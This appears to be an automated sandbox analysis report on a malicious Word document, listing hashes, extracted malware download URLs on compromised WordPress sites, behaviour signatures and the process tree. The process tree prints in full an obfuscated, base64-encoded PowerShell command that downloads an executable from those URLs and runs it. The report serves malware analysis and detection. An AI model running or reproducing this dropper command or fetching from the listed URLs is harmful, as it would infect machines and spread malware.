Analysis
-
max time kernel
138s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
31/05/2024, 07:43
General
-
Target
865045b9340cbccf3a4e3dd9c836bf35_JaffaCakes118.doc
-
Size
190KB
-
MD5
865045b9340cbccf3a4e3dd9c836bf35
-
SHA1
65389b9720149eb03e018c504abd2511df6e4d21
-
SHA256
d1a5686c4fa9645f0fb514192daab9f41de42969b089d957941b6b83bc2791d0
-
SHA512
4bf84647a1952f29e1ac174f01ce56afce469090f76893fc892f12e616203cd3b6de206b742b54b2d72725099302e8b0b827ded6519bdf7fcbb85af1730874bc
-
SSDEEP
3072:i9ufstRUUKSns8T00JSHUgteMJ8qMD7gjy0zKNf9cfmfE7qdmVJKk/Juvc5a8a8L:i9ufsfgIf0pLNKbS
Malware Config
Extracted
http://reklamdasiniz.com/wp-admin/W/
http://www.paramedicaleducationguidelines.com/wp-admin/7S/
http://bimasoftcbt.maannajahjakarta.com/wp-admin/i3K/
http://casualhome.com/wp-admin/Y/
https://aemine.vn/wp-admin/KMq/
http://aahnaturals.net/wp-includes/A3/
https://sbsec.org/bsadmin-portal/1nf/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\865045b9340cbccf3a4e3dd9c836bf35_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAHQAbQBmADQAegB5AD0AKAAoACcATABsACcAKwAnADcAJwApACsAKAAnAGwAJwArACcAMQBpACcAKQArACcAeQAnACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AVgA6AHUAcwBFAHIAUABSAE8ARgBpAEwARQBcAEsAdgBvADkAOQAwAFcAXAB5AGgAVwAwAFMAOABlAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBJAGAAVAB5AFAAYABSAG8AVABvAGAAYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABBADAAOABwAHMAcABfACAAPQAgACgAKAAnAE4AJwArACcANABrACcAKQArACgAJwBxACcAKwAnAHUAcAAnACkAKQA7ACQAVwB3AGUAcwBnAHUAcwA9ACgAJwBEACcAKwAoACcANgByACcAKwAnAHYAJwApACsAKAAnADAAJwArACcAYwA1ACcAKQApADsAJABWAGgAYwBxAG8AZwBxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AJwArACgAJwBxAEkAJwArACcASwB2AG8AOQAnACkAKwAoACcAOQAwAHcATwBxAEkAJwArACcAWQBoACcAKQArACcAdwAnACsAJwAwACcAKwAnAHMAJwArACgAJwA4ACcAKwAnAGUATwBxAEkAJwApACkAIAAgAC0AUgBlAFAAbABhAEMARQAoACcATwAnACsAJwBxAEkAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEEAMAA4AHAAcwBwAF8AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAOAA1AHMAeABkAGsAPQAoACcAUwAnACsAKAAnAHUAdAAnACsAJwBwAHoAeAB6ACcAKQApADsAJABKAGgANQBnAG4ANwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMAbABpAEUAbgBUADsAJABUADgAeQA4AGsAeAB5AD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwByAGUAawAnACsAJwBsAGEAbQAnACsAJwBkACcAKQArACgAJwBhAHMAJwArACcAaQBuAGkAegAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwBXAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwB3AC4AcAAnACsAJwBhACcAKQArACgAJwByAGEAbQBlAGQAJwArACcAaQBjAGEAbAAnACkAKwAnAGUAJwArACgAJwBkAHUAYwAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGkAbwBuAGcAdQAnACsAJwBpAGQAZQBsAGkAbgAnACkAKwAoACcAZQAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvADcAUwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvAC8AJwArACcAYgBpAG0AYQAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAGYAdABjAGIAJwArACcAdAAuAG0AYQAnACsAJwBhAG4AJwApACsAKAAnAG4AJwArACcAYQBqACcAKQArACgAJwBhACcAKwAnAGgAagBhACcAKwAnAGsAYQAnACkAKwAnAHIAdAAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AaQAnACsAJwAzAEsALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGMAYQBzAHUAYQBsACcAKwAnAGgAbwBtAGUALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzADoALwAvAGEAJwArACcAZQBtACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgB2ACcAKwAnAG4AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZAAnACsAJwBtAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBLAE0AcQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AYQBhACcAKwAnAGgAJwApACsAKAAnAG4AYQAnACsAJwB0ACcAKQArACgAJwB1ACcAKwAnAHIAJwArACcAYQBsACcAKwAnAHMALgBuAGUAdAAvAHcAcAAnACkAKwAnAC0AaQAnACsAKAAnAG4AYwBsAHUAZAAnACsAJwBlACcAKwAnAHMALwBBADMALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBiACcAKQArACcAcwAnACsAJwBlAGMAJwArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvAGIAJwApACsAKAAnAHMAJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAtACcAKwAnAHAAJwApACsAKAAnAG8AJwArACcAcgB0ACcAKQArACgAJwBhAGwAJwArACcALwAxACcAKQArACgAJwBuACcAKwAnAGYALwAnACkAKQAuACIAUwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGcAcQB1AHoAZwBzAD0AKAAoACcAWQBwADMAJwArACcAcgBpACcAKQArACcAeQAnACsAJwB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcwByAHkAYQAwAG4AIABpAG4AIAAkAFQAOAB5ADgAawB4AHkAKQB7AHQAcgB5AHsAJABKAGgANQBnAG4ANwBmAC4AIgBkAGAAbwBXAE4AbABPAGAAQQBEAGYAYABJAGwAZQAiACgAJABNAHMAcgB5AGEAMABuACwAIAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUwAwAHYAdAAyADkAMgA9ACgAJwBJADYAJwArACgAJwA0AHgAJwArACcAYQAnACkAKwAnAGMAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVgBoAGMAcQBvAGcAcQApAC4AIgBsAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADgANAAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUABmADQAeABrAGcAdAA9ACgAJwBVACcAKwAnAHUAJwArACgAJwBoAG0ANAAnACsAJwBhAGIAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AMQAyAGMAZgBmAHMAPQAoACgAJwBRAGkAJwArACcANQBuADcAJwApACsAJwBhACcAKwAnADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAGwAdwBzADcAbgBwAD0AKAAoACcAQQBlACcAKwAnADkAJwApACsAKAAnAG4AdQByACcAKwAnAHQAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4156,i,13035806169561352434,1332896185314862791,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
119KB
MD569bf5d4b5bf9db5abf80dfb80f8ed79d
SHA12eded37f8122b41e43a99d260f1366e1c284d9c9
SHA256fc44d06b578b2104694f892221daf60c613905629a9f67dcdc0e54bc1da15db1
SHA5129fdcdcfa06cb6dc2e72b429d4aecd04cf36e9b1252dff41a96c97bac9099ea1329e0acac6f1069d2e84a21b3df2347a83b3518dd3ec10bf6e7a677c7f4ec064c
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB